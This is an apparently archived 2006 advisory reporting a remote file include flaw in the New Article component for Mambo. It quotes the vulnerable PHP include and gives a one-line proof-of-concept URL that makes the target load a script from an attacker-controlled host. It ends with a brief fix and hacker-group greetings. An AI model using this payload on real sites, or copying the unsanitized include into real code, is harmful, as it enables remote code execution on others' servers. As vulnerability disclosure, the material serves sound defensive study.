namc10.txt

`---------------------------------------------------------------------------------  
New Article Mambo Component <= 1.0 (com_articles.php) Remote File Include Vulnerabilities  
---------------------------------------------------------------------------------  
  
Author : Ahmad Maulana a.k.a Matdhule  
Date : July 17th 2006  
Location : Indonesia, Jakarta  
Critical Lvl : Highly critical  
Impact : System access  
Where : From Remote  
---------------------------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : New Article Component (com_articles.php)  
  
Version : 1.0  
  
---------------------------------------------------------------------------------  
  
Vulnerability:  
~~~~~~~~~~~~~~~  
  
In folder components we found vulnerability script com_articles.php.  
  
-----------------------com_articles.php---------------------------------  
<?php  
  
include($absolute_path.'/language/'.$lang.'/lang_articles.php');  
  
require("classes/html/com_articles.php");  
$articles = new articles();  
  
Variables $absolute_path are not properly sanitized. When register_globals=on  
and allow_fopenurl=on an attacker can exploit this vulnerability with a  
simple php injection script.  
  
Proof Of Concept:  
~~~~~~~~~~~~~~~~  
  
http://[target]/[path]/components/com_articles.php?absolute_path=http://attacker.com/evil.txt?  
  
---------------------------------------------------------------------------------  
  
Solution:  
~~~~~~~~  
  
sanitize variabel $absolute_path.  
  
  
------------------------------------------------------------------------  
---  
Shoutz:  
~~~~~~  
~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :)  
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous  
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama  
~ [email protected], [email protected]  
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net  
------------------------------------------------------------------------  
---  
Contact:  
~~~~~~~  
  
matdhule[at]gmail[dot]com  
  
-------------------------------- [ EOF ]----------------------------------  
  
  
`